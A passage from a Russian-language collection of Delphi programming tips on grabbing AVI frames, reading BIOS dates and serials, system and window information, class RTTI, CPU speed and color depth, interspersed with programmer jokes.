  Form1.Memo1.Lines.Add('AVI Width : ' + IntToStr(AVIINFO.dwWidth));
  Form1.Memo1.Lines.Add('AVI Height : ' + IntToStr(AVIINFO.dwHeight));
  Form1.Memo1.Lines.Add('AVI Length : ' + IntToStr(AVIINFO.dwLength));
  // Open a Stream from the file
  Error := AVIFileGetStream(pFile, AVIStream, streamtypeVIDEO, 0);
  if Error <> AVIERR_OK then
  begin
    // Clean up and exit
    AVIFileRelease(pFile);
    AVIFileExit;
    Exit;
  end;
  // Prepares to decompress video frames
  gapgf := AVIStreamGetFrameOpen(AVIStream, nil);
  if gapgf = nil then
  begin
    AVIStreamRelease(AVIStream);
    AVIFileRelease(pFile);
    AVIFileExit;
    Exit;
  end;
  // Read current Frame
  // AVIStreamGetFrame Returns the address of a decompressed video frame
  lpbi := AVIStreamGetFrame(gapgf, iFrameNumber);
  if lpbi = nil then
  begin
    AVIStreamGetFrameClose(gapgf);
    AVIStreamRelease(AVIStream);
    AVIFileRelease(pFile);
    AVIFileExit;
    Exit;
  end;
  // Show number of frames:
  Form1.Memo1.Lines.Add(Format('Framstart: %d FrameEnd: %d',
    [AVIStreamStart(AVIStream), AVIStreamEnd(AVIStream)]));
  TmpBmp := TBitmap.Create;
  try
    TmpBmp.Height := lpbi.biHeight;
    TmpBmp.Width := lpbi.biWidth;
    bits := Pointer(Integer(lpbi) + SizeOf(TBITMAPINFOHEADER));
    DC_Handle := CreateDC('Display', nil, nil, nil);
    try
      hBmp := CreateDIBitmap(DC_Handle, // handle of device context
        lpbi^, // address of bitmap size and format data
        CBM_INIT, // initialization flag
        bits, // address of initialization data
        PBITMAPINFO(lpbi)^, // address of bitmap color-format data
        DIB_RGB_COLORS); // color-data usage
    finally
      DeleteDC(DC_Handle);
    end;
    TmpBmp.Handle := hBmp;
    AVIStreamGetFrameClose(gapgf);
    AVIStreamRelease(AVIStream);
    AVIFileRelease(pfile);
    AVIFileExit;
    try
      TmpBmp.SaveToFile(ToFileName);
      Result := True;
    except
    end;
  finally
    TmpBmp.Free;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  // Extract Frame 3 from AVI file
  GrabAVIFrame('C:\Test.avi', 3, 'c:\avifram.bmp');
end;

Определение базовой системной информации.

Не кажется ли вам символичным, что праздник мелких пакостей и легких ужасов в Штатах назывется "Хелло, Win"?

Часто при создании систем привязки программ к компьютеру или окон типа System Info или About Box необходимо определить данные о пользователе и о системе. Это можно сделать следующим образом (из примеров по Delphi - программа COA):

...
 Buffer : Array[0..30] of Char;    // Буфер под ASCIIZ строку
begin
 // Открыли библиотеку User
 hInstUser := LoadLibrary('USER');      
 LoadString(hInstUser, 514, Buffer, 30);
 // Имя пользователя
 LabelUserName.Caption := StrPas(Buffer); 
 LoadString(hInstUser, 515, Buffer, 30);
 FreeLibrary(hInstUser);
 // Компания
 LabelCompName.Caption := StrPas(Buffer);
 WinVer := GetVersion;
 // Версия Windows
 LabelWinVer.Caption := Format('Windows %u.%.2u',
        [LoByte(LoWord(WinVer)), HiByte(LoWord(WinVer))]);
 // Версия DOS
 LabelDosVer.Caption := Format('DOS %u.%.2u',
        [HiByte(HiWord(WinVer)), LoByte(HiWord(WinVer))]);
 WinFlags := GetWinFlags;
 // Режим
 IF WinFlags AND WF_ENHANCED > 0 THEN
   LabelWinMode.Caption := '386 Enhanced Mode' 
 ELSE IF WinFlags AND WF_PMODE > 0 THEN
   LabelWinMode.Caption := 'Standard Mode'
 ELSE LabelWinMode.Caption := 'Real Mode';
 // Сопроцессор
 IF WinFlags AND WF_80x87 > 0 THEN 
  ValueMathCo.Caption := 'Present'
 ELSE ValueMathCo.Caption := 'Absent';
 // Свободно ресурсов
 Fmt := GetFreeSystemResources(GFSR_SYSTEMRESOURCES);
 ValueFSRs.Caption := Format('%d%% Free', [Fmt1]); 
 // Свободно памяти
 ValueMemory.Caption := FormatFloat(',#######', MemAvail DIV 
1024) + ' KB Free';
end;

Как получить дату BIOS.

Народная примета: если программист в девять утра уже на работе, значит, он еще на работе.
unit BiosDate;
interface
function GetBiosDate: string;
implementation
function SegOfsToLinear(Segment, Offset: Word): Integer;
begin
  result := (Segment shl 4) or Offset;
end;
function GetBiosDate: string;
begin
  result := string(PChar(Ptr(SegOfsToLinear($F000, $FFF5))));
end;
end.

Как в Delphi определить дату BIOS.

Автор: Nomadic

Определить дату BIOS, равно как тип ПК или поиметь другие данные, находящиеся по фиксированому _физическому_ адресу, в Delphi можно так:

var
  BiosDate: array[0..7] of char absolute
  $FFFF5;
  PCType: byte absolute $FFFFE;
procedure TForm1.FormCreate(Sender: TObject);
var
  S: string;
begin
  case PCType of
    $FC: S := 'AT';
    $FD: S := 'PCjr';
    $FE: S := 'XT =8-O';
    $FF: S := 'PC';
  else
    S := 'Нестандартный';
  end;
  Caption := 'Дата BIOS: ' + BiosDate + '  Тип ПК: ' + S;
end;

Получить дату BIOS.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function GetBiosDate1: String;
 var
    Buffer : Array[0..8] Of Char;
    N : DWORD;
 begin
    ReadProcessMemory(GetCurrentProcess,
    Ptr($FFFF5),
    @Buffer,
    8,
    N);
    Buffer[8] := #0;
    result := StrPas(Buffer)
 end;
 function GetBiosDate2: String;
 begin
    result := string(pchar(ptr($FFFF5)));
 end;
 {Only for Win 95/98/ME) 

Получение серийного номера BIOS.

Автор: Gua WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение серийного номера BIOS
Зависимости:
Автор:       Gua, fbsdd@ukr.net, ICQ:141585495, Simferopol
Copyright:
Дата:        03 мая 2002 г.
***************************************************** }
function GetBiosNumber: string;
begin
  result := string(pchar(ptr($FEC71)));
end;

Как из Handle битовой картинки, получить адрес битового изображения в памяти.

Автор: Nomadic.

Вот кусок одного моего класса, в котором есть две интересные вещицы - проецирование файлов в память и работа с битмэпом в памяти через указатель.

Сразу оговорюсь, что все это работает только под Win95/NT.

type
  TarrRGBTriple = array[byte] of TRGBTriple;
  ParrRGBTriple = ^TarrRGBTriple;
  {организует битмэп размером SX,SY;true_color}
procedure TMBitmap.Allocate(SX, SY: integer);
var
  DC: HDC;
begin
  if BM <> 0 then
    DeleteObject(BM); {удаляем старый битмэп, если был}
  BM := 0;
  PB := nil;
  fillchar(BI, sizeof(BI), 0);
  with BI.bmiHeader do {заполняем структуру с параметрами битмэпа}
  begin
    biSize := sizeof(BI.bmiHeader);
    biWidth := SX;
    biHeight := SY;
    biPlanes := 1;
    biBitCount := 24;
    biCompression := BI_RGB;
    biSizeImage := 0;
    biXPelsPerMeter := 0;
    biYPelsPerMeter := 0;
    biClrUsed := 0;
    biClrImportant := 0;
    FLineSize := (biWidth + 1) * 3 and (-1 shl 2);
      {размер строки(кратна 4 байтам)}
    if (biWidth or biHeight) <> 0 then
    begin
      DC := CreateDC('DISPLAY', nil, nil, nil);
      {замечательная функция (см.HELP), возвращает HBITMAP, позволяет сразу
      разместить выделяемый битмэп в спроецированном файле, что позволяет
      ускорять работу и экономить память при генерировании большого битмэпа}
      {!} BM := CreateDIBSection(DC, BI, DIB_RGB_COLORS, pointer(PB), nil, 0);
      DeleteDC(DC); {в PB получаем указатель на битмэп-----^^}
      if BM = 0 then
        Error('error creating DIB');
    end;
  end;
end;
{эта процедура загружает из файла true-соlоr'ный битмэп}
procedure TMBitmap.LoadFromFile(const FileName: string);
var
  HF: integer; {file handle}
  HM: THandle; {file-mapping handle}
  PF: pchar; {pointer to file view in memory}
  i, j: integer;
  Ofs: integer;
begin
  {открываем файл}
  HF := FileOpen(FileName, fmOpenRead or fmShareDenyWrite);
  if HF < 0 then
    Error('open file ''' + FileName + '''');
  try
    {создаем объект-проецируемый файл}
    HM := CreateFileMapping(HF, nil, PAGE_READONLY, 0, 0, nil);
    if HM = 0 then
      Error('can''t create file mapping');
    try
      {собственно проецируем объект в адресное }
      PF := MapViewOfFile(HM, FILE_MAP_READ, 0, 0, 0);
      {получаем указатель на область памяти, в которую спроецирован файл}
      if PF = nil then
        Error('can''t create map view of file');
      try
        {работаем с файлом как с областью памяти через указатель PF}
        if PBitmapFileHeader(PF)^.bfType <> $4D42 then
          Error('file format');
        Ofs := PBitmapFileHeader(PF)^.bfOffBits;
        with PBitmapInfo(PF + sizeof(TBitmapFileHeader))^.bmiHeader do
        begin
          if (biSize <> 40) or (biPlanes <> 1) then
            Error('file format');
          if (biCompression <> BI_RGB) or
            (biBitCount <> 24) then
            Error('only true-color BMP supported');
          {выделяем память под битмэп}
          Allocate(biWidth, biHeight);
        end;
        for j := 0 to BI.bmiHeader.biHeight - 1 do
          for i := 0 to BI.bmiHeader.biWidth - 1 do
            {Pixels - это property, возвр. указатель на соотв. RGBTriple в битмэпе}
            Pixels[i, j]^.Tr := ParrRGBTriple(PF + j * FLineSize + Ofs)^[i];
      finally
        UnmapViewOfFile(PF);
      end;
    finally
      CloseHandle(HM);
    end;
  finally
    FileClose(HF);
  end;
end;
{эта функция - реализация Pixels read}
function TMBitmap.GetPixel(X, Y: integer): PRGB;
begin
  if (X >= 0) and (X < BI.bmiHeader.biWidth) and
    (Y >= 0) and (Y < BI.bmiHeader.biHeight) then
    Result := PRGB(PB + (Y) * FLineSize + X * 3)
  else
    Result := PRGB(PB);
end;

Если у вас на форме есть компонент TImage, то можно сделать так:

var BMP:TMBitmap;
  B: TBitmap;
...
BMP.LoadFromFile(..);
B:=TBitmap.Create;
B.Handle:=BMP.Handle;
Image1.Picture.Bitmap:=B;

И загруженный битмэп появится на экране.

Получение значения бита в двойном слове.

Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение значения бита в двойном слове
Функция возвращает значение бита с номером Index в двойном слове Value
Зависимости: нет
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        21 мая 2002 г.
***************************************************** }
function Bit(Value, Index: Integer): Boolean;
asm
   bt eax, edx
   setc al
   and eax, 0FFh
end;

Как выяснить размер BLOB-поля.

function GetBlobSize(Field: TBlobField): LongInt;
begin
  with TBlobStream.Create(Field, bmRead) do
    try
      Result := Seek(0, 2);
    finally
      Free;
    end;
end;

Определить букву CD-ROM.

Статьи по Delphi (008)…
Драйверы вашего CD-ROM привода находятся на прилагаемом компакт диске...
procedure TForm1.Button1Click(Sender: TObject);
var
  w: dword;
  Root: string;
  i: integer;
begin
  w := GetLogicalDrives;
  Root := '#:\';
  for i := 0 to 25 do
  begin
    Root[1] := Char(Ord('A') + i);
    if (W and (1 shl i)) > 0 then
      if GetDriveType(Pchar(Root)) = DRIVE_CDROM then
        Form1.Label1.Caption := Root;
  end;
end;

Получить информацию о классе.

Автор: Xavier Pacheco

unit MainFrm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls, DBClient, MidasCon, MConnect;
type
  TMainForm = class(TForm)
    pnlTop: TPanel;
    pnlLeft: TPanel;
    lbBaseClassInfo: TListBox;
    spSplit: TSplitter;
    lblBaseClassInfo: TLabel;
    pnlRight: TPanel;
    lblClassProperties: TLabel;
    lbPropList: TListBox;
    lbSampClasses: TListBox;
    procedure FormCreate(Sender: TObject);
    procedure lbSampClassesClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  MainForm: TMainForm;
implementation
uses TypInfo;
{$R *.DFM}
function CreateAClass(const AClassName: string): TObject;
{ This method illustrates how you can create a class from the class name. Note
  that this requires that you register the class using RegisterClasses() as
  show in the initialization method of this unit. }
var
  C: TFormClass;
  SomeObject: TObject;
begin
  C := TFormClass(FindClass(AClassName));
  SomeObject := C.Create(nil);
  Result := SomeObject;
end;
procedure GetBaseClassInfo(AClass: TObject; AStrings: TStrings);
{ This method obtains some basic RTTI data from the given object and adds that
  information to the AStrings parameter. }
var
  ClassTypeInfo: PTypeInfo;
  ClassTypeData: PTypeData;
  EnumName: string;
begin
  ClassTypeInfo := AClass.ClassInfo;
  ClassTypeData := GetTypeData(ClassTypeInfo);
  with AStrings do
  begin
    Add(Format('Class Name:     %s', [ClassTypeInfo.Name]));
    EnumName := GetEnumName(TypeInfo(TTypeKind), Integer(ClassTypeInfo.Kind));
    Add(Format('Kind:           %s', [EnumName]));
    Add(Format('Size:           %d', [AClass.InstanceSize]));
    Add(Format('Defined in:     %s.pas', [ClassTypeData.UnitName]));
    Add(Format('Num Properties: %d', [ClassTypeData.PropCount]));
  end;
end;
procedure GetClassAncestry(AClass: TObject; AStrings: TStrings);
{ This method retrieves the ancestry of a given object and adds the
  class names of the ancestry to the AStrings parameter. }
var
  AncestorClass: TClass;
begin
  AncestorClass := AClass.ClassParent;
  { Iterate through the Parent classes starting with Sender's
    Parent until the end of the ancestry is reached. }
  AStrings.Add('Class Ancestry');
  while AncestorClass <> nil do
  begin
    AStrings.Add(Format('    %s', [AncestorClass.ClassName]));
    AncestorClass := AncestorClass.ClassParent;
  end;
end;
procedure GetClassProperties(AClass: TObject; AStrings: TStrings);
{ This method retrieves the property names and types for the given object
  and adds that information to the AStrings parameter. }
var
  PropList: PPropList;
  ClassTypeInfo: PTypeInfo;
  ClassTypeData: PTypeData;
  i: integer;
  NumProps: Integer;
begin
  ClassTypeInfo := AClass.ClassInfo;
  ClassTypeData := GetTypeData(ClassTypeInfo);
  if ClassTypeData.PropCount <> 0 then
  begin
    // allocate the memory needed to hold the references to the TPropInfo
    // structures on the number of properties.
    GetMem(PropList, SizeOf(PPropInfo) * ClassTypeData.PropCount);
    try
      // fill PropList with the pointer references to the TPropInfo structures
      GetPropInfos(AClass.ClassInfo, PropList);
      for i := 0 to ClassTypeData.PropCount - 1 do
        // filter out properties that are events ( method pointer properties)
        if not (PropList[i]^.PropType^.Kind = tkMethod) then
          AStrings.Add(Format('%s: %s', [PropList[i]^.Name,
            PropList[i]^.PropType^.Name]));
      // Now get properties that are events (method pointer properties)
      NumProps := GetPropList(AClass.ClassInfo, [tkMethod], PropList);
      if NumProps <> 0 then
      begin
        AStrings.Add('');
        AStrings.Add('   EVENTS   ================ ');
        AStrings.Add('');
      end;
      // Fill the AStrings with the events.
      for i := 0 to NumProps - 1 do
        AStrings.Add(Format('%s: %s', [PropList[i]^.Name,
          PropList[i]^.PropType^.Name]));
    finally
      FreeMem(PropList, SizeOf(PPropInfo) * ClassTypeData.PropCount);
    end;
  end;
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
  // Add some example classes to the list box.
  lbSampClasses.Items.Add('TApplication');
  lbSampClasses.Items.Add('TButton');
  lbSampClasses.Items.Add('TForm');
  lbSampClasses.Items.Add('TListBox');
  lbSampClasses.Items.Add('TPaintBox');
  lbSampClasses.Items.Add('TMidasConnection');
  lbSampClasses.Items.Add('TFindDialog');
  lbSampClasses.Items.Add('TOpenDialog');
  lbSampClasses.Items.Add('TTimer');
  lbSampClasses.Items.Add('TComponent');
  lbSampClasses.Items.Add('TGraphicControl');
end;
procedure TMainForm.lbSampClassesClick(Sender: TObject);
var
  SomeComp: TObject;
begin
  lbBaseClassInfo.Items.Clear;
  lbPropList.Items.Clear;
  // Create an instance of the selected class.
  SomeComp := CreateAClass(lbSampClasses.Items[lbSampClasses.ItemIndex]);
  try
    GetBaseClassInfo(SomeComp, lbBaseClassInfo.Items);
    GetClassAncestry(SomeComp, lbBaseClassInfo.Items);
    GetClassProperties(SomeComp, lbPropList.Items);
  finally
    SomeComp.Free;
  end;
end;
initialization
  begin
    RegisterClasses([TApplication, TButton, TForm, TListBox, TPaintBox,
      TMidasConnection, TFindDialog, TOpenDialog, TTimer, TComponent,
        TGraphicControl]);
  end;
end.

Получение ссылки на экземпляр класса.

Программисты ругаются: - Типун тебе на модем! - Эх ты, защёлка от дисковода! - Не бита совести у тебя нет!
...мне также понадобилось в подпрограмме получить ссылку на дочернее MDI-окно без сообщения подпрограмме с каким конкретно классом MDI необходимо работать. Что я сделал: я передавал в виде параметров тип дочернего MDI-окна и ссылку как нетипизированную переменную и затем обрабатывал это в подпрограмме.

Вот пример. Эта подпрограмма работает с дочерним окном, которое может иметь только один экземпляр. Если оно не открыто, подпрограмма создаст его, если оно открыто, оно переместит его на передний план.

procedure FormLoader (FormClassType: TFormClass; var FormName);
begin
  if TForm(FormName) = nil then
  begin
    Application.CreateForm (FormClassType, FormName);
  end
  else
  begin
    TForm(FormName).BringToFront;
    TForm(FormName).WindowState := wsNormal;
  end;
end;

Вот как это вызывать:

procedure TfrmTest.sbOpenClick(Sender: TObject);
begin
  FormLoader (TfrmTest, frmTest);
end;

Получение информации о классе и об окне.

Статьи по Delphi (008)…
unit InternF;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls, Buttons;
type
  TFormInternal = class(TForm)
    Panel1: TPanel;
    SpeedChoose: TSpeedButton;
    LabelTarget: TLabel;
    Splitter1: TSplitter;
    MemoClass: TMemo;
    MemoWin: TMemo;
    CheckDrag: TCheckBox;
    procedure FormCreate(Sender: TObject);
    procedure FormResize(Sender: TObject);
    procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure SpeedChooseMouseDown(Sender: TObject;
      Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
  public
    procedure UpdateData (hWnd: THandle);
    function GetClassStyles (Style: Cardinal): string;
    function GetWinStyles (Style: Cardinal): string;
    function GetWinExStyles (Style: Cardinal): string;
  private
    Capture: Boolean;
  end;
var
  FormInternal: TFormInternal;
implementation
{$R *.DFM}
function TFormInternal.GetClassStyles (Style: Cardinal): string;
begin
  Result := '';
  if (cs_bytealignclient and style) = cs_bytealignclient then
    Result := Result + 'ByteAlignClient ';
  if (cs_bytealignwindow and style) = cs_bytealignwindow then
    Result := Result + 'cs_bytealignwindow';
  if (cs_classdc and style) = cs_classdc then
    Result := Result + 'ClassDC ';
  if (cs_dblclks and style) = cs_dblclks then
    Result := Result + 'DblClks ';
  if (cs_globalclass and style) = cs_globalclass then
    Result := Result + 'GlobalClass ';
  if (cs_hredraw and style) = cs_hredraw then
    Result := Result + 'HRedraw ';
  if (cs_noclose and style) = cs_noclose then
    Result := Result + 'NoClose ';
  if (cs_owndc and style) = cs_owndc then
    Result := Result + 'OwnDc ';
  if (cs_parentdc and style) = cs_parentdc then
    Result := Result + 'ParentDc ';
  if (cs_savebits and style) = cs_savebits then
    Result := Result + 'SaveBits ';
  if (cs_vredraw and style) = cs_vredraw then
    Result := Result + 'VRedraw ';
end;
function TFormInternal.GetWinStyles (Style: Cardinal): string;
begin
  // show the kind of window
  if (ws_child and style) = ws_child then
    Result := 'Child '
  else if (ws_popup and style) = ws_popup then
    Result := 'Popup '
  else
    Result := 'Overlapped ';
  // borders
  if (ws_border and style) = ws_border then
    Result := Result + 'Border ';
  if (ws_caption and style) = ws_caption then
    Result := Result + 'Caption ';
  if (ws_thickframe and style) = ws_thickframe then
    Result := Result + 'ThickFrame ';
  if (ws_dlgframe and style) = ws_dlgframe then
    Result := Result + 'DlgFrame ';
  // border buttons
  if (ws_maximizebox and style) = ws_maximizebox then
    Result := Result + 'MaximizeBox ';
  if (ws_minimizebox and style) = ws_minimizebox then
    Result := Result + 'MinimizeBox ';
  if (ws_sysmenu and style) = ws_sysmenu then
    Result := Result + 'SysMenu ';
  // scrollbars
  if (ws_hscroll and style) = ws_hscroll then
    Result := Result + 'HScroll ';
  if (ws_vscroll and style) = ws_vscroll then
    Result := Result + 'VScroll ';
  // clipping
  if (ws_clipchildren and style) = ws_clipchildren then
    Result := Result + 'ClipChildren ';
  if (ws_clipsiblings and style) = ws_clipsiblings then
    Result := Result + 'ClipSiblings ';
  // initial status information
  if (ws_disabled and style) = ws_disabled then
    Result := Result + 'Disabled ';
  if (ws_group and style) = ws_group then
    Result := Result + 'Group ';
  if (ws_maximize and style) = ws_maximize then
    Result := Result + 'Maximize ';
  if (ws_minimize and style) = ws_minimize then
    Result := Result + 'Minimize ';
  if (ws_tabstop and style) = ws_tabstop then
    Result := Result + 'TabStop ';
  if (ws_visible and style) = ws_visible then
    Result := Result + 'Visible ';
  // note: controls styles are not supported
end;
function TFormInternal.GetWinExStyles (style: Cardinal): string;
begin
  Result := '';
  // add the extended styles
  if (ws_ex_acceptfiles and style) = ws_ex_acceptfiles then
    Result := Result + 'AcceptFiles ';
  if (ws_ex_appwindow and style) = ws_ex_appwindow then
    Result := Result + 'AppWindow ';
  if (ws_ex_mdichild and style) = ws_ex_mdichild then
    Result := Result + 'MdiChild ';
  if (ws_ex_noparentnotify and style) = ws_ex_noparentnotify then
    Result := Result + 'NoParentNotify ';
  if (ws_ex_contexthelp and style) = ws_ex_contexthelp then
    Result := Result + 'ContextHelp ';
  if (ws_ex_controlparent and style) = ws_ex_controlparent then
    Result := Result + 'ControlParent ';
  if (ws_ex_topmost and style) = ws_ex_topmost then
    Result := Result + 'TopMost ';
  if (ws_ex_transparent and style) = ws_ex_transparent then
    Result := Result + 'Transparent ';
  // border - edge styles
  if (ws_ex_clientedge and style) = ws_ex_clientedge then
    Result := Result + 'ClientEdge ';
  if (ws_ex_staticedge and style) = ws_ex_staticedge then
    Result := Result + 'StaticEdge ';
  if (ws_ex_dlgmodalframe and style) = ws_ex_dlgmodalframe then
    Result := Result + 'DlgModalFrame ';
  if (ws_ex_windowedge and style) = ws_ex_windowedge then
    Result := Result + 'WindowEdge ';
  if (ws_ex_palettewindow and style) = ws_ex_palettewindow then
    Result := Result + 'PaletteWindow ';
  if (ws_ex_toolwindow and style) = ws_ex_toolwindow then
    Result := Result + 'ToolWindow ';
  // left/right input mode and scrollbars
  if (ws_ex_left and style) = ws_ex_left then
    Result := Result + 'Left ';
  if (ws_ex_leftscrollbar and style) = ws_ex_leftscrollbar then
    Result := Result + 'LeftScrollBar ';
  if (ws_ex_ltrreading and style) = ws_ex_ltrreading then
    Result := Result + 'LtrReading ';
  if (ws_ex_right and style) = ws_ex_right then
    Result := Result + 'Right ';
  if (ws_ex_rightscrollbar and style) = ws_ex_rightscrollbar then
    Result := Result + 'RightScrollBar ';
  if (ws_ex_rtlreading and style) = ws_ex_rtlreading then
    Result := Result + 'RtlReading ';
end;
function GetCursorName (hCur: THandle): string;
var
  I: Integer;
begin
  // default: handle value
  Result := IntToHex (hCur, 16);
  // looks for Delphi cursor
  for I := crHelp to crArrow do
    if Screen.Cursors [I] = hCur then
      Result := CursorToString (I);
end;
procedure TFormInternal.FormCreate (Sender: TObject);
begin
  UpdateData (Handle);
end;
procedure TFormInternal.UpdateData (hWnd: THandle);
var
  WndClassName, Title: string;
  WndClass: TWndClass;
  hInst, hwndParent: THandle;
begin
  MemoClass.Lines.BeginUpdate;
  MemoWin.Lines.BeginUpdate;
  try
    SetLength (Title, 100);
    // retrieve the WNDCLASS name
    SetLength (WndClassName, 100);
    hInst := GetWindowLong (hWnd, GWL_HINSTANCE);
    GetClassName (hWnd, PChar (WndClassName), 100);
    GetClassInfo (hInst, PChar (WndClassName), WndClass);
    // show class information
    with WndClass, MemoClass.Lines do
    begin
      Clear;
      Add ('Class Name: ' + WndClassName);
      Add ('Window Procedure: ' + IntToHex (Cardinal (lpfnWndProc), 8));
      Add ('Class Extra Bytes: ' + IntToStr (cbClsExtra));
      Add ('Window Extra Bytes: ' + IntToStr (cbWndExtra));
      Add ('Instance Handle: ' + IntToHex (hInstance, 8));
      GetModuleFileName (hInstance, PChar (Title), 100);
      Add ('Module Name: ' + Title);
      Add ('Icon Handle: ' + IntToHex (hIcon, 8));
      Add ('Cursor: ' + GetCursorName (hCursor));
      Add ('Brush handle: ' + IntToHex (hbrBackground, 8));
      if lpszMenuName <> nil then
        if HiWord (Cardinal(lpszMenuName)) <> 0 then
          Add ('Menu name: ' + PChar (lpszMenuName))
        else
          Add ('Menu ID: ' + IntToStr (LoWord (lpszMenuName)));
      Add (#13);
      Add ('Class styles:');
      Add (GetClassStyles (Style));
    end;
    // show window data
    with MemoWin.Lines do
    begin
      Clear;
      GetWindowText (hWnd, PChar (Title), 100);
      Add ('Window Handle: ' + IntToHex (hWnd, 8));
      Add ('  Title: "' + PChar (Title) + '"');
      Add ('Window Procedure: ' + IntToHex (GetWindowLong (hWnd, GWL_WNDPROC), 8));
      Add ('Instance Handle: ' + IntToHex (GetWindowLong (hWnd, GWL_HINSTANCE), 8));
      hwndParent := GetWindowLong (hWnd, GWL_HWNDPARENT);
      Add ('Parent/Owner Window: ' + IntToHex (hwndParent, 8));
      if hwndParent <> 0 then
      begin
        GetWindowText (hwndParent, PChar (Title), 100);
        Add ('  Par/Own Title: "' + PChar (Title) + '"');
      end;
      hwndParent := GetParent (hWnd);
      Add ('Real Parent Window: ' + IntToHex (hwndParent, 8));
      if hwndParent <> 0 then
      begin
        GetWindowText (hwndParent, PChar (Title), 100);
        Add ('  Parent Title: "' + PChar (Title) + '"');
      end;
      if GetParent (hWnd) <> 0 then
        Add ('Child ID: ' + IntToHex (GetWindowLong (hWnd, GWL_ID), 8))
      else
        Add ('Menu Handle: ' + IntToHex (GetWindowLong (hWnd, GWL_ID), 8));
      Add ('User Data: ' + IntToHex (GetWindowLong (hWnd, GWL_USERDATA), 8));
      Add (#13);
      Add ('Window Styles: ' +
        GetWinStyles (GetWindowLong (hWnd, GWL_STYLE)));
      Add (#13);
      Add ('Extended Styles: ' +
        GetWinExStyles (GetWindowLong (hWnd, GWL_EXSTYLE)));
    end;
  finally
    MemoClass.Lines.EndUpdate;
    MemoWin.Lines.EndUpdate;
  end;
end;
procedure TFormInternal.FormResize(Sender: TObject);
begin
  // split the area equally
  MemoClass.Width := ClientWidth div 2;
end;
procedure TFormInternal.FormMouseMove(Sender: TObject;
  Shift: TShiftState; X, Y: Integer);
var
  hWnd: THandle;
  Title: string;
  Pt: TPoint;
begin
  if Capture then
  begin
    Pt := Point (X, Y);
    Pt := ClientToScreen (Pt);
    hWnd := WindowFromPoint (Pt);
    if hWnd = 0 then
      Exit;
    SetLength (Title, 100);
    GetWindowText (hWnd, PChar (Title), 100);
    LabelTarget.Caption :=
      'Window: ' + IntToHex (hWnd, 8) +
      ' - "' + string (PChar (Title)) + '"';
    if CheckDrag.Checked then
      UpdateData (hWnd);
  end;
end;
procedure TFormInternal.FormMouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
  hWnd: THandle;
  Pt: TPoint;
begin
  if Capture then
  begin
    Pt := Point (X, Y);
    Pt := ClientToScreen (Pt);
    hWnd := WindowFromPoint (Pt);
    if hWnd <> 0 then
      UpdateData (hWnd);
    MouseCapture := False;
    Capture := False;
    // release the speed button
    SpeedChoose.Perform (
      wm_LButtonUp, mk_LButton, 0);
  end;
end;
procedure TFormInternal.SpeedChooseMouseDown(Sender: TObject;
  Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
  MouseCapture := True;
  Capture := True;
end;
end.

Загрузить исходный код проекта.

Вычисление тактовой частоты процессора.

Статьи по Delphi (008)…
Дневник программиста: ВТОРИК: "Устанавливал полуось- чуть не умер." СРЕДА: "Устанавливал Windows 95- лучше бы я умер во вторник."

Автор: Alex Novikov.

function GetCPUSpeed: double;
const
  DelayTime = 500; // время измерения в миллисекундах
var
  TimerHi, TimerLo: DWORD;
  PriorityClass, Priority: integer;
begin
  PriorityClass := GetPriorityClass(GetCurrentProcess);
  Priority := GetThreadPriority(GetCurrentThread);
  SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
  SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);
  Sleep(10);
  asm
    dw 310Fh // rdtsc
    mov TimerLo, eax
    mov TimerHi, edx
  end;
  Sleep(DelayTime);
  asm
    dw 310Fh // rdtsc
    sub eax, TimerLo
    sbb edx, TimerHi
    mov TimerLo, eax
    mov TimerHi, edx
  end;
  SetThreadPriority(GetCurrentThread, Priority);
  SetPriorityClass(GetCurrentProcess, PriorityClass);
  Result := TimerLo / (1000.0 * DelayTime);
end;
begin
  LabelCPUSpeed.Caption := Format('CPU speed: %f MHz', [GetCPUSpeed]);
end;

Получение параметров командной строки приложения.

Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение параметров командной строки приложения
Зависимости: Windows, SysUtils
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        29 марта 2003 г.
***************************************************** }
function Parameters: string;
var
  P: PChar;
begin
  P := GetCommandLine;
  if P^ = '"' then
  begin
    Inc(P);
    P := StrPos(P, '"');
    Inc(P);
  end
  else
    P := StrPos(P, ' ');
  Inc(P);
  Result := P;
end;

Получить текущую глубину цвета.

Программисты фирмы "Майкрософт" нашли действенное решение по устранению "синих экранов смерти" в операционной системе Windows. С официального сайта Вы можете скачать официальный патч. Теперь в "Панели управления" можно выбрать любой другой цвет для этого режима. А в будущих версиях ОС планируется возможность выбора фоновой картинки на свой вкус.
function GetColorDepth: string; 
var 
  DesktopDC: HDC; // LongWord 
  BitsPerPixel: Integer; 
begin 
  DesktopDC    := GetDC(0); 
  BitsPerPixel := GetDeviceCaps(DesktopDC, BITSPIXEL); 
  case BitsPerPixel of 
    4: Result  := '4-Bit'; 
    8: Result  := '8-Bit'; 
    16: Result := '16-Bit'; 
    24: Result := '24-Bit'; 
    32: Result := '32-Bit'; 
  end; 
  ReleaseDC(0, DesktopDC); 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  ShowMessage(GetColorDepth); 
end;

